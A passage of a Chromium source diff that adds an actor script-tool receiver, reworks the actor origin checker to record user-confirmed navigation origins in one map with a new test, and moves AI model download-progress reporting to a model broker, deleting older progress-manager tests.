+void ActorScriptToolReceiver::PauseExecution() {
+  auto* web_contents =
+      content::WebContents::FromRenderFrameHost(&render_frame_host());
+  if (!web_contents) {
+    return;
+  }
+
+  auto* service = ActorKeyedService::Get(web_contents->GetBrowserContext());
+  if (!service) {
+    return;
+  }
+
+  if (const auto* task =
+          service->GetActingActorTaskForWebContents(web_contents)) {
+    if (auto* mutable_task = service->GetTask(task->id())) {
+      mutable_task->Pause(/*from_actor=*/true);
+    }
+  }
+}
+
+}  // namespace actor
diff --git a/chrome/browser/actor/actor_script_tool_receiver.h b/chrome/browser/actor/actor_script_tool_receiver.h
new file mode 100644
index 0000000..69f359f
--- /dev/null
+++ b/chrome/browser/actor/actor_script_tool_receiver.h
@@ -0,0 +1,40 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef CHROME_BROWSER_ACTOR_ACTOR_SCRIPT_TOOL_RECEIVER_H_
+#define CHROME_BROWSER_ACTOR_ACTOR_SCRIPT_TOOL_RECEIVER_H_
+
+#include "content/public/browser/document_service.h"
+#include "third_party/blink/public/mojom/content_extraction/script_tools.mojom.h"
+
+namespace content {
+class RenderFrameHost;
+}
+
+namespace actor {
+
+class ActorScriptToolReceiver
+    : public content::DocumentService<blink::mojom::ScriptToolHost> {
+ public:
+  static void Create(
+      content::RenderFrameHost* render_frame_host,
+      mojo::PendingReceiver<blink::mojom::ScriptToolHost> receiver);
+
+  ActorScriptToolReceiver(const ActorScriptToolReceiver&) = delete;
+  ActorScriptToolReceiver& operator=(const ActorScriptToolReceiver&) = delete;
+  ActorScriptToolReceiver(ActorScriptToolReceiver&&) = delete;
+  ActorScriptToolReceiver& operator=(ActorScriptToolReceiver&&) = delete;
+
+  // blink::mojom::ScriptToolHost implementation.
+  void PauseExecution() override;
+
+ private:
+  ActorScriptToolReceiver(
+      content::RenderFrameHost& render_frame_host,
+      mojo::PendingReceiver<blink::mojom::ScriptToolHost> receiver);
+};
+
+}  // namespace actor
+
+#endif  // CHROME_BROWSER_ACTOR_ACTOR_SCRIPT_TOOL_RECEIVER_H_
diff --git a/chrome/browser/actor/origin_checker.cc b/chrome/browser/actor/origin_checker.cc
index 38dbf9c..0b862bff 100644
--- a/chrome/browser/actor/origin_checker.cc
+++ b/chrome/browser/actor/origin_checker.cc
@@ -6,6 +6,7 @@
 
 #include <algorithm>
 
+#include "base/containers/map_util.h"
 #include "chrome/browser/actor/actor_features.h"
 #include "chrome/browser/actor/actor_metrics.h"
 #include "chrome/browser/actor/actor_util.h"
@@ -38,33 +39,45 @@
   return (initiator_origin &&
           IsSameForNewOriginNavigationGating(*initiator_origin, url)) ||
          std::ranges::any_of(
-             allowed_navigation_origins_, [&](const auto& origin) {
+             allowed_navigation_origins_, [&](const auto& pair) {
+               const url::Origin& origin = pair.first;
                return IsSameForNewOriginNavigationGating(origin, url);
              });
 }
 
 bool OriginChecker::IsNavigationConfirmedByUser(
     const url::Origin& origin) const {
-  return user_confirmed_origins_.contains(origin);
+  const auto* state = base::FindOrNull(allowed_navigation_origins_, origin);
+  return state && state->is_user_confirmed;
 }
 
 void OriginChecker::AllowNavigationTo(url::Origin origin,
                                       bool is_user_confirmed) {
-  if (is_user_confirmed) {
-    user_confirmed_origins_.insert(origin);
+  const auto [it, inserted] = allowed_navigation_origins_.emplace(
+      origin, OriginState{is_user_confirmed});
+  if (!inserted) {
+    it->second.is_user_confirmed =
+        it->second.is_user_confirmed || is_user_confirmed;
   }
-  allowed_navigation_origins_.insert(std::move(origin));
 }
 
 void OriginChecker::AllowNavigationTo(
     const absl::flat_hash_set<url::Origin>& origins) {
-  std::ranges::copy(origins, std::inserter(allowed_navigation_origins_,
-                                           allowed_navigation_origins_.end()));
+  std::ranges::transform(
+      origins,
+      std::inserter(allowed_navigation_origins_,
+                    allowed_navigation_origins_.end()),
+      [](const auto& origin) {
+        return std::make_pair(origin, OriginState{/*is_user_confirmed=*/false});
+      });
 }
 
 void OriginChecker::RecordSizeMetrics() const {
-  RecordActorNavigationGatingListSize(allowed_navigation_origins_.size(),
-                                      user_confirmed_origins_.size());
+  RecordActorNavigationGatingListSize(
+      allowed_navigation_origins_.size(),
+      std::ranges::count_if(allowed_navigation_origins_, [](const auto& pair) {
+        return pair.second.is_user_confirmed;
+      }));
 }
 
 }  // namespace actor
diff --git a/chrome/browser/actor/origin_checker.h b/chrome/browser/actor/origin_checker.h
index 08d6947..033f3e01 100644
--- a/chrome/browser/actor/origin_checker.h
+++ b/chrome/browser/actor/origin_checker.h
@@ -6,6 +6,7 @@
 #define CHROME_BROWSER_ACTOR_ORIGIN_CHECKER_H_
 
 #include "base/types/optional_ref.h"
+#include "third_party/abseil-cpp/absl/container/flat_hash_map.h"
 #include "third_party/abseil-cpp/absl/container/flat_hash_set.h"
 #include "url/origin.h"
 
@@ -44,16 +45,18 @@
   void RecordSizeMetrics() const;
 
  private:
-  // The set of origins which the browser is allowed to navigate to under actor
-  // control without needing to confirm the navigation with the web client. This
-  // set can have origins added to it by the server actions or by confirming the
-  // new origin with the model or user. Sensitive origins that are on the
-  // optimization guide blocklist are not exempt by this set.
-  absl::flat_hash_set<url::Origin> allowed_navigation_origins_;
+  struct OriginState {
+    // Whether the user has explicitly confirmed navigation to this origin.
+    bool is_user_confirmed = false;
+  };
 
-  // The set of origins that the user has manually confirmed the actor may
-  // interact with.
-  absl::flat_hash_set<url::Origin> user_confirmed_origins_;
+  // The set of origins which the browser is allowed to navigate to under actor
+  // control. Note that presence in this map does *not* imply that the actor may
+  // navigate without confirming with the user first. This set can have origins
+  // added to it by the server actions or by confirming the new origin with the
+  // model or user. Sensitive origins that are on the optimization guide
+  // blocklist are not exempt by this set.
+  absl::flat_hash_map<url::Origin, OriginState> allowed_navigation_origins_;
 };
 
 }  // namespace actor
diff --git a/chrome/browser/actor/origin_checker_unittest.cc b/chrome/browser/actor/origin_checker_unittest.cc
index 1f108d1..88faa68 100644
--- a/chrome/browser/actor/origin_checker_unittest.cc
+++ b/chrome/browser/actor/origin_checker_unittest.cc
@@ -138,6 +138,20 @@
   EXPECT_TRUE(origin_checker.IsNavigationAllowed(std::nullopt, example));
 }
 
+TEST(OriginCheckerTest, ConfirmOrigin_AllowsNavigation_RemembersConfirmation) {
+  const url::Origin example = url::Origin::Create(GURL("https://example.com"));
+
+  OriginChecker origin_checker;
+  origin_checker.AllowNavigationTo(example,
+                                   /*is_user_confirmed=*/false);
+  origin_checker.AllowNavigationTo(example,
+                                   /*is_user_confirmed=*/true);
+  origin_checker.AllowNavigationTo(example,
+                                   /*is_user_confirmed=*/false);
+
+  EXPECT_TRUE(origin_checker.IsNavigationConfirmedByUser(example));
+}
+
 TEST(OriginCheckerTest, RecordsHistograms) {
   base::HistogramTester histograms;
 
diff --git a/chrome/browser/ai/BUILD.gn b/chrome/browser/ai/BUILD.gn
index b9b8224d9..8935dc9 100644
--- a/chrome/browser/ai/BUILD.gn
+++ b/chrome/browser/ai/BUILD.gn
@@ -33,11 +33,9 @@
   public_deps = [
     "//base",
     "//chrome/browser/actor",
-    "//chrome/browser/ai:ai_model_download_progress_manager_components",
     "//chrome/browser/profiles:profile",
     "//components/component_updater",
     "//components/on_device_ai",
-    "//components/on_device_ai:ai_crx_component",
     "//components/optimization_guide/core",
     "//content/public/browser",
   ]
@@ -78,7 +76,6 @@
     "//components/autofill/core/browser",
     "//components/history_embeddings",
     "//components/language/core/common",
-    "//components/on_device_ai:ai_model_download_progress_manager",
     "//components/optimization_guide/content/browser",
     "//components/site_engagement/content",
     "//pdf:buildflags",
@@ -99,23 +96,6 @@
   }
 }
 
-source_set("ai_model_download_progress_manager_components") {
-  sources = [
-    "ai_never_load_component.cc",
-    "ai_never_load_component.h",
-  ]
-  public_deps = [
-    "//base",
-    "//chrome/browser:browser_process",
-    "//components/component_updater",
-    "//components/on_device_ai:ai_model_download_progress_manager",
-    "//components/update_client",
-    "//content/public/browser",
-    "//mojo/public/cpp/bindings",
-    "//services/on_device_model/public/mojom",
-  ]
-}
-
 source_set("test_support") {
   testonly = true
   sources = [
@@ -126,7 +106,6 @@
     "//chrome/browser/optimization_guide",
     "//chrome/browser/optimization_guide:test_support",
     "//chrome/test:test_support",
-    "//components/component_updater:test_support",
     "//components/optimization_guide/core:test_support",
     "//testing/gmock",
     "//testing/gtest",
@@ -137,22 +116,17 @@
 source_set("unit_tests") {
   testonly = true
   sources = [
-    "ai_crx_component_unittest.cc",
     "ai_language_model_unittest.cc",
     "ai_manager_unittest.cc",
-    "ai_model_download_progress_manager_unittest.cc",
     "ai_proofreader_unittest.cc",
     "ai_summarizer_unittest.cc",
     "ai_writer_unittest.cc",
   ]
   deps = [
     ":ai",
-    ":ai_model_download_progress_manager_components",
     ":test_support",
     "//chrome/browser/optimization_guide:test_support",
     "//components/on_device_ai",
-    "//components/on_device_ai:ai_crx_component",
-    "//components/on_device_ai:test_support",
     "//components/optimization_guide/core:test_support",
   ]
 }
diff --git a/chrome/browser/ai/ai_crx_component_unittest.cc b/chrome/browser/ai/ai_crx_component_unittest.cc
deleted file mode 100644
index 1a32080..0000000
--- a/chrome/browser/ai/ai_crx_component_unittest.cc
+++ /dev/null
@@ -1,248 +0,0 @@
-// Copyright 2025 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "components/on_device_ai/ai_crx_component.h"
-
-#include <cstdint>
-#include <memory>
-#include <utility>
-
-#include "base/barrier_closure.h"
-#include "base/task/current_thread.h"
-#include "base/test/gtest_util.h"
-#include "base/time/time.h"
-#include "chrome/browser/ai/ai_test_utils.h"
-#include "components/on_device_ai/ai_model_download_progress_manager.h"
-#include "components/on_device_ai/ai_utils.h"
-#include "components/on_device_ai/test_support/fake_component.h"
-#include "testing/gmock/include/gmock/gmock-matchers.h"
-#include "testing/gtest/include/gtest/gtest.h"
-
-namespace on_device_ai {
-
-using component_updater::CrxUpdateItem;
-using testing::_;
-using update_client::ComponentState;
-
-class AICrxComponentTest : public testing::Test {
- public:
-  AICrxComponentTest() = default;
-  ~AICrxComponentTest() override = default;
-
- protected:
-  // Send a download update.
-  void SendUpdate(const FakeComponent& component,
-                  ComponentState state,
-                  uint64_t downloaded_bytes) {
-    component_update_service_.SendUpdate(
-        component.CreateUpdateItem(state, downloaded_bytes));
-  }
-
-  void FastForwardBy(base::TimeDelta delta) {
-    task_environment_.FastForwardBy(delta);
-  }
-
-  FakeComponent& CreateComponent(std::string id, uint64_t total_bytes) {
-    auto [iter, emplaced] = fake_components_.try_emplace(id, id, total_bytes);
-    CHECK(emplaced);
-    return iter->second;
-  }
-
-  AITestUtils::MockComponentUpdateService component_update_service_;
-
- private:
-  void SetUp() override {
-    EXPECT_CALL(component_update_service_, GetComponentDetails(_, _))
-        .WillRepeatedly([&](const std::string& id, CrxUpdateItem* item) {
-          auto iter = fake_components_.find(id);
-          if (iter == fake_components_.end()) {
-            return false;
-          }
-
-          *item = iter->second.CreateUpdateItem(
-              update_client::ComponentState::kNew, 0);
-
-          return true;
-        });
-  }
-
-  std::map<std::string, FakeComponent> fake_components_;
-
-  base::test::SingleThreadTaskEnvironment task_environment_{
-      base::test::TaskEnvironment::TimeSource::MOCK_TIME};
-};
-
-TEST_F(AICrxComponentTest, DoesntReceiveUpdatesForNonDownloadEvents) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent& component = CreateComponent("component_id", 100);
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      AICrxComponent::FromComponentIds(
-                          &component_update_service_, {component.id()}));
-
-  // Doesn't receive any update for these event states.
-  for (const auto state : {
-           ComponentState::kNew,
-           ComponentState::kChecking,
-           ComponentState::kCanUpdate,
-           ComponentState::kUpdated,
-           ComponentState::kUpdateError,
-           ComponentState::kRun,
-       }) {
-    SendUpdate(component, state, 10);
-    monitor.ExpectNoUpdate();
-    FastForwardBy(base::Milliseconds(51));
-  }
-}
-
-TEST_F(AICrxComponentTest,
-       DoesntReceiveUpdatesForEventsWithNegativeDownloadedBytes) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent& component = CreateComponent("component_id", 100);
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      AICrxComponent::FromComponentIds(
-                          &component_update_service_, {component.id()}));
-
-  // Doesn't receive an update when the downloaded bytes are negative.
-  SendUpdate(component, ComponentState::kDownloading, -1);
-  monitor.ExpectNoUpdate();
-  FastForwardBy(base::Milliseconds(51));
-}
-
-TEST_F(AICrxComponentTest,
-       DoesntReceiveUpdatesForEventsWithNegativeTotalBytes) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent& component = CreateComponent("component_id", -1);
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      AICrxComponent::FromComponentIds(
-                          &component_update_service_, {component.id()}));
-
-  // Doesn't receive an update when the total bytes are negative.
-  SendUpdate(component, ComponentState::kDownloading, 0);
-  monitor.ExpectNoUpdate();
-  FastForwardBy(base::Milliseconds(51));
-}
-
-TEST_F(AICrxComponentTest, DoesntReceiveUpdatesForComponentsNotObserving) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent& component_observed = CreateComponent("component_id1", 100);
-  FakeComponent& component_not_observed = CreateComponent("component_id2", 100);
-
-  manager.AddObserver(
-      monitor.BindNewPipeAndPassRemote(),
-      AICrxComponent::FromComponentIds(&component_update_service_,
-                                       {component_observed.id()}));
-
-  // Doesn't receive any update for these event states.
-  SendUpdate(component_not_observed, ComponentState::kDownloading, 10);
-  monitor.ExpectNoUpdate();
-  FastForwardBy(base::Milliseconds(51));
-}
-
-TEST_F(AICrxComponentTest, ObservesComponentsMidDownload) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor1;
-  AITestUtils::FakeMonitor monitor2;
-  FakeComponent& component = CreateComponent("component_id", 100);
-
-  // First, `monitor1` observes `component`.
-  {
-    manager.AddObserver(monitor1.BindNewPipeAndPassRemote(),
-                        AICrxComponent::FromComponentIds(
-                            &component_update_service_, {component.id()}));
-  }
-
-  // Only `monitor1` will receive this update since `monitor2` is not observing.
-  SendUpdate(component, ComponentState::kDownloading, 0);
-  monitor1.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
-  monitor2.ExpectNoUpdate();
-
-  // Now both `monitor1` and `monitor2` are observing `component`.
-  {
-    manager.AddObserver(monitor2.BindNewPipeAndPassRemote(),
-                        AICrxComponent::FromComponentIds(
-                            &component_update_service_, {component.id()}));
-  }
-
-  // Send the first update to for `monitor2` waiting more than 50ms so that both
-  // monitors receive it.
-  constexpr int64_t update1_for_monitor2 = 60;
-  FastForwardBy(base::Milliseconds(51));
-  SendUpdate(component, ComponentState::kDownloading, update1_for_monitor2);
-  {
-    base::RunLoop run_loop;
-    base::RepeatingClosure update_callback =
-        base::BarrierClosure(2, run_loop.QuitClosure());
-
-    // `monitor1` should still be normalized against the total bytes of the
-    // component.
-    monitor1.ExpectReceivedNormalizedUpdate(
-        update1_for_monitor2, component.total_bytes(), update_callback);
-
-    // This is `monitor2`'s first update so it should receive zero and be
-    // normalized against the remaining bytes.
-    monitor2.ExpectReceivedNormalizedUpdate(
-        0, component.total_bytes() - update1_for_monitor2, update_callback);
-
-    run_loop.Run();
-  }
-
-  // Send a second update to for `monitor2` waiting more than 50ms so that both
-  // monitors receive it.
-  constexpr int64_t update2_for_monitor2 = 75;
-  FastForwardBy(base::Milliseconds(51));
-  SendUpdate(component, ComponentState::kDownloading, update2_for_monitor2);
-  {
-    base::RunLoop run_loop;
-    base::RepeatingClosure update_callback =
-        base::BarrierClosure(2, run_loop.QuitClosure());
-
-    // `monitor1` should still be normalized against the total bytes of the
-    // component.
-    monitor1.ExpectReceivedNormalizedUpdate(
-        update2_for_monitor2, component.total_bytes(), update_callback);
-
-    // `monitor2` should still be normalized against the remaining bytes it
-    // observed on its first update. The downloaded bytes should also not
-    // include any bytes that were downloaded before `monitor2` started
-    // observing.
-    monitor2.ExpectReceivedNormalizedUpdate(
-        update2_for_monitor2 - update1_for_monitor2,
-        component.total_bytes() - update1_for_monitor2, update_callback);
-
-    run_loop.Run();
-  }
-}
-
-TEST_F(AICrxComponentTest, DownloadedBytesWontExceedTotalBytes) {
-  AIModelDownloadProgressManager manager;
-  AITestUtils::FakeMonitor monitor;
-  FakeComponent& component = CreateComponent("component_id", 100);
-
-  manager.AddObserver(monitor.BindNewPipeAndPassRemote(),
-                      AICrxComponent::FromComponentIds(
-                          &component_update_service_, {component.id()}));
-
-  // Send a zero, so that the `AIModelDownloadProgressManager` sends the first
-  // update. This ensures that the already downloaded bytes is zero.
-  SendUpdate(component, ComponentState::kDownloading, 0);
-  monitor.ExpectReceivedNormalizedUpdate(0, component.total_bytes());
-  FastForwardBy(base::Milliseconds(51));
-
-  // Sending an update that exceeds the component's total bytes is clamped to
-  // the component's total bytes.
-  SendUpdate(component, ComponentState::kDownloading,
-             component.total_bytes() * 2);
-  monitor.ExpectReceivedNormalizedUpdate(component.total_bytes(),
-                                         component.total_bytes());
-  FastForwardBy(base::Milliseconds(51));
-}
-
-}  // namespace on_device_ai
diff --git a/chrome/browser/ai/ai_language_model_unittest.cc b/chrome/browser/ai/ai_language_model_unittest.cc
index bd00a3d..b5cf223a 100644
--- a/chrome/browser/ai/ai_language_model_unittest.cc
+++ b/chrome/browser/ai/ai_language_model_unittest.cc
@@ -24,13 +24,14 @@
 #include "base/test/task_environment.h"
 #include "base/test/test_future.h"
 #include "base/types/expected.h"
+#include "build/build_config.h"
 #include "chrome/browser/ai/ai_test_utils.h"
 #include "chrome/browser/ai/features.h"
 #include "chrome/browser/component_updater/optimization_guide_on_device_model_installer.h"
 #include "components/on_device_ai/ai_utils.h"
-#include "components/on_device_ai/test_support/fake_component.h"
 #include "components/optimization_guide/core/model_execution/multimodal_message.h"
 #include "components/optimization_guide/core/model_execution/on_device_capability.h"
+#include "components/optimization_guide/core/model_execution/test/mock_download_progress_observer.h"
 #include "components/optimization_guide/core/model_execution/test/mock_on_device_capability.h"
 #include "components/optimization_guide/core/optimization_guide_features.h"
 #include "components/optimization_guide/core/optimization_guide_proto_util.h"
@@ -59,6 +60,7 @@
 using ::on_device_model::mojom::PerformanceClass;
 using ::optimization_guide::FieldSubstitution;
 using ::optimization_guide::ForbidUnsafe;
+using ::optimization_guide::MockDownloadProgressObserver;
 using ::optimization_guide::StringValueField;
 using ::testing::_;
 using ::testing::ElementsAre;
@@ -72,7 +74,6 @@
 constexpr uint32_t kTestMaxTopK = 5u;
 constexpr float kTestMaxTemperature = 1.5;
 constexpr uint32_t kTestMaxTokens = 100u;
-constexpr uint64_t kTestModelDownloadSize = 572u;
 static_assert(kTestDefaultTopK <= kTestMaxTopK);
 static_assert(kTestDefaultTemperature <= kTestMaxTemperature);
 
@@ -271,7 +272,9 @@
         {{blink::features::kAIPromptAPIMultimodalInput, {}},
          {features::kAILanguageModelOverrideConfiguration,
           {{"ai_language_model_output_buffer", "100"}}},
-         {optimization_guide::features::kOptimizationGuideOnDeviceModel, {}}},
+         {optimization_guide::features::kOptimizationGuideOnDeviceModel, {}},
+         {optimization_guide::features::kAIModelUnloadableProgress,
+          {{"ai_model_unloadable_progress_bytes", "0"}}}},
         {});
   }
 
@@ -1017,36 +1020,33 @@
               ElementsAreArray(FormatResponses({"UfooEU<image>EU<audio>EM"})));
 }
 
+// TODO: crbug.com/474999857 Enable on Android when download progress is
+// supported.
+#if !BUILDFLAG(IS_ANDROID)
 TEST_F(AILanguageModelTest, ModelDownload) {
-  // This is the component id of the on device model. The `AIManager` sends
-  // updates for it to the `CreateMonitor`s.
-  std::string model_component_id =
-      component_updater::OptimizationGuideOnDeviceModelInstallerPolicy::
-          GetOnDeviceModelExtensionId();
-  on_device_ai::FakeComponent model_component(model_component_id,
-                                              kTestModelDownloadSize);
+  MockDownloadProgressObserver observer;
+  GetAIManagerInterface()->AddModelDownloadProgressObserver(
+      observer.BindNewPipeAndPassRemote());
+  fake_broker_->component_state().WaitForDownloadObserver();
 
-  EXPECT_EQ(GetAIManagerDownloadProgressObserversSize(), 0u);
-  AITestUtils::FakeMonitor mock_monitor;
+  // Receives the zero update.
+  uint64_t total_bytes =
+      fake_broker_->component_state().component().total_bytes();
+  fake_broker_->component_state().UpdateDownloadProgress(0);
+  observer.ExpectReceivedNormalizedUpdate(0, total_bytes);
 
-  EXPECT_CALL(component_update_service_, GetComponentDetails(_, _))
-      .WillOnce(
-          [&](const std::string& id, component_updater::CrxUpdateItem* item) {
-            *item = model_component.CreateUpdateItem(
-                update_client::ComponentState::kNew, 0);
-            return true;
-          });
-  GetAIManagerRemote()->AddModelDownloadProgressObserver(
-      mock_monitor.BindNewPipeAndPassRemote());
+  // Receives an update for normalized to the total bytes.
+  task_environment()->FastForwardBy(base::Milliseconds(51));
+  uint64_t downloaded_bytes = total_bytes / 2;
+  fake_broker_->component_state().UpdateDownloadProgress(downloaded_bytes);
+  observer.ExpectReceivedNormalizedUpdate(downloaded_bytes, total_bytes);
 
-  ASSERT_TRUE(base::test::RunUntil(
-      [this] { return GetAIManagerDownloadProgressObserversSize() == 1u; }));
-
-  component_update_service_.SendUpdate(model_component.CreateUpdateItem(
-      update_client::ComponentState::kDownloading, kTestModelDownloadSize));
-
-  mock_monitor.ExpectReceivedNormalizedUpdate(0, kTestModelDownloadSize);
+  // Receives the final one update.
+  task_environment()->FastForwardBy(base::Milliseconds(51));
+  fake_broker_->component_state().UpdateDownloadProgress(total_bytes);
+  observer.ExpectReceivedNormalizedUpdate(total_bytes, total_bytes);
 }
+#endif  // !BUILDFLAG(IS_ANDROID)
 
 TEST_F(AILanguageModelTest, MeasureInputUsage) {
   auto session = CreateSession();
@@ -1269,6 +1269,7 @@
       result_future;
   GetAIManagerInterface()->CanCreateLanguageModel({},
                                                   result_future.GetCallback());
+
   // Session should not be ready until eligibility callback has run.
   EXPECT_FALSE(result_future.IsReady());
   eligibility_future.Take().Run(
diff --git a/chrome/browser/ai/ai_manager.cc b/chrome/browser/ai/ai_manager.cc
index 41130db9..66a9f09 100644
--- a/chrome/browser/ai/ai_manager.cc
+++ b/chrome/browser/ai/ai_manager.cc
@@ -25,7 +25,6 @@
 #include "chrome/browser/ai/ai_context_bound_object.h"
 #include "chrome/browser/ai/ai_context_bound_object_set.h"
 #include "chrome/browser/ai/ai_language_model.h"
-#include "chrome/browser/ai/ai_never_load_component.h"
 #include "chrome/browser/ai/ai_proofreader.h"
 #include "chrome/browser/ai/ai_rewriter.h"
 #include "chrome/browser/ai/ai_summarizer.h"
@@ -36,7 +35,6 @@
 #include "chrome/browser/optimization_guide/optimization_guide_keyed_service_factory.h"
 #include "chrome/browser/profiles/profile.h"
 #include "components/language/core/common/locale_util.h"
-#include "components/on_device_ai/ai_crx_component.h"
 #include "components/on_device_ai/ai_utils.h"
 #include "components/optimization_guide/core/delivery/model_util.h"
 #include "components/optimization_guide/core/model_execution/feature_keys.h"
@@ -333,12 +331,9 @@
 
 }  // namespace
 
-AIManager::AIManager(
-    content::BrowserContext* browser_context,
-    component_updater::ComponentUpdateService* component_update_service,
-    content::RenderFrameHost* rfh)
-    : component_update_service_(*component_update_service),
-      context_bound_object_set_(GetPriorityFromVisibility(rfh)),
+AIManager::AIManager(content::BrowserContext* browser_context,
+                     content::RenderFrameHost* rfh)
+    : context_bound_object_set_(GetPriorityFromVisibility(rfh)),
       browser_context_(browser_context),
       rfh_(rfh ? rfh->GetWeakDocumentPtr() : content::WeakDocumentPtr()) {
   if (rfh && rfh->GetRenderWidgetHost()) {
@@ -989,22 +984,10 @@
 void AIManager::AddModelDownloadProgressObserver(
     mojo::PendingRemote<on_device_model::mojom::DownloadObserver>
         observer_remote) {
-  auto components = on_device_ai::AICrxComponent::FromComponentIds(
-      &component_update_service_.get(),
-      {component_updater::OptimizationGuideOnDeviceModelInstallerPolicy::
-           GetOnDeviceModelExtensionId()});
-
-  // Have some portion of the loading bar occupied until the renderer sends the
-  // 100% download progress on creation. This is to indicate that there is still
-  // work going on between when the model is downloaded and the actual API
-  // instance is created.
-  if (base::FeatureList::IsEnabled(features::kAIModelUnloadableProgress)) {
-    components.insert(std::make_unique<on_device_ai::AINeverLoadComponent>(
-        features::kAIModelUnloadableProgressBytes.Get()));
+  if (model_broker_client_) {
+    model_broker_client_->AddModelDownloadProgressObserver(
+        std::move(observer_remote));
   }
-
-  model_download_progress_manager_.AddObserver(std::move(observer_remote),
-                                               std::move(components));
 }
 
 void AIManager::RenderWidgetHostVisibilityChanged(
diff --git a/chrome/browser/ai/ai_manager.h b/chrome/browser/ai/ai_manager.h
index 11ee19cf..e1de529 100644
--- a/chrome/browser/ai/ai_manager.h
+++ b/chrome/browser/ai/ai_manager.h
@@ -9,14 +9,13 @@
 
 #include "base/memory/raw_ptr.h"
 #include "base/memory/weak_ptr.h"
+#include "base/scoped_observation.h"
 #include "base/supports_user_data.h"
 #include "base/types/pass_key.h"
 #include "chrome/browser/ai/ai_context_bound_object_set.h"
 #include "chrome/browser/ai/ai_language_model.h"
 #include "chrome/browser/ai/ai_proofreader.h"
 #include "chrome/browser/ai/ai_summarizer.h"
-#include "components/component_updater/component_updater_service.h"
-#include "components/on_device_ai/ai_model_download_progress_manager.h"
 #include "components/on_device_ai/ai_utils.h"
 #include "components/optimization_guide/public/mojom/model_broker.mojom-forward.h"
 #include "content/public/browser/browser_context.h"
@@ -52,7 +51,6 @@
       base::expected<std::unique_ptr<AILanguageModel>,
                      blink::mojom::AIManagerCreateClientError>;
   AIManager(content::BrowserContext* browser_context,
-            component_updater::ComponentUpdateService* component_update_service,
             content::RenderFrameHost* rfh);
   AIManager(const AIManager&) = delete;
   AIManager& operator=(const AIManager&) = delete;
@@ -65,10 +63,6 @@
     return context_bound_object_set_.GetSize();
   }
 
-  size_t GetDownloadProgressObserversSizeForTesting() {
-    return model_download_progress_manager_.GetNumberOfReporters();
-  }
-
   // Return the default and max sampling params for the LanguageModel API.
   blink::mojom::AILanguageModelParamsPtr GetLanguageModelParams();
 
@@ -181,9 +175,6 @@
 
   mojo::ReceiverSet<blink::mojom::AIManager> receivers_;
 
-  on_device_ai::AIModelDownloadProgressManager model_download_progress_manager_;
-
-  raw_ref<component_updater::ComponentUpdateService> component_update_service_;
   AIContextBoundObjectSet context_bound_object_set_;
   raw_ptr<content::BrowserContext> browser_context_;
 
diff --git a/chrome/browser/ai/ai_model_download_progress_manager_unittest.cc b/chrome/browser/ai/ai_model_download_progress_manager_unittest.cc
deleted file mode 100644
index e5f7eb11..0000000
--- a/chrome/browser/ai/ai_model_download_progress_manager_unittest.cc
+++ /dev/null
@@ -1,663 +0,0 @@
-// Copyright 2025 The Chromium Authors
-// Use of this source code is governed by a BSD-style license that can be
-// found in the LICENSE file.
-
-#include "components/on_device_ai/ai_model_download_progress_manager.h"
-
-#include <cstdint>
-#include <memory>
-
-#include "base/task/current_thread.h"
-#include "base/test/gtest_util.h"
-#include "base/time/time.h"
-#include "chrome/browser/ai/ai_test_utils.h"
-#include "components/on_device_ai/ai_utils.h"
-#include "testing/gmock/include/gmock/gmock-matchers.h"
-#include "testing/gtest/include/gtest/gtest.h"
-
-namespace on_device_ai {
-
-using testing::_;
-using ComponentList =
-    base::flat_set<std::unique_ptr<AIModelDownloadProgressManager::Component>>;
-
-namespace {
-
-class FakeComponent {
- public:
-  FakeComponent(std::optional<int64_t> downloaded_bytes,
-                std::optional<int64_t> total_bytes)
-      : downloaded_bytes_(downloaded_bytes), total_bytes_(total_bytes) {}
-
-  int64_t total_bytes() {
-    CHECK(total_bytes_.has_value());
-    return total_bytes_.value();
-  }
-
-  std::unique_ptr<AIModelDownloadProgressManager::Component> GetImpl() {
-    CHECK(!impl_);
-
-    std::unique_ptr<Impl> impl = std::make_unique<Impl>();
-    impl_ = impl->weak_ptr_factory_.GetWeakPtr();
-
-    // Update total bytes if its already been set.
-    if (total_bytes_) {
-      impl_->SetTotalBytes(total_bytes_.value());
-    }
-    // Update downloaded bytes if its already been set.
-    if (downloaded_bytes_) {
-      impl_->SetDownloadedBytes(downloaded_bytes_.value());
-    }
-
-    return impl;
-  }
-
-  ComponentList GetImplAsList() {
-    ComponentList component_list;
-    component_list.insert(GetImpl());
-    return component_list;
-  }
-
-  void SetTotalBytes(int64_t total_bytes) {
-    total_bytes_ = total_bytes;
-
-    if (impl_) {
-      impl_->SetTotalBytes(total_bytes);
-    }
-  }
-
-  void SetDownloadedBytes(int64_t downloaded_bytes) {
-    downloaded_bytes_ = downloaded_bytes;
-
-    if (impl_) {
-      impl_->SetDownloadedBytes(downloaded_bytes);
-    }
-  }
-
- private:
-  class Impl : public AIModelDownloadProgressManager::Component {
-   protected:
-    friend FakeComponent;
-    base::WeakPtrFactory<Impl> weak_ptr_factory_{this};
-  };
-
-  base::WeakPtr<Impl> impl_;
-
-  std::optional<int64_t> downloaded_bytes_;
-  std::optional<int64_t> total_bytes_;
-};
-
-}  // namespace
-
-class AIModelDownloadProgressManagerTest : public testing::Test {
- public:
-  AIModelDownloadProgressManagerTest() = default;
-  ~AIModelDownloadProgressManagerTest() override = default;
-
- protected:
-  void FastForwardBy(base::TimeDelta delta) {
-    task_environment_.FastForwardBy(delta);
-  }
-
- private:
-  base::test::SingleThreadTaskEnvironment task_environment_{
-      base::test::TaskEnvironment::TimeSource::MOCK_TIME};
-};
-
-TEST_F(AIModelDownloadProgressManagerTest,
-       ReporterIsDestroyedWhenRemoteIsDisconnected) {
-  AIModelDownloadProgressManager manager;
-
-  // Should start with no reporters.
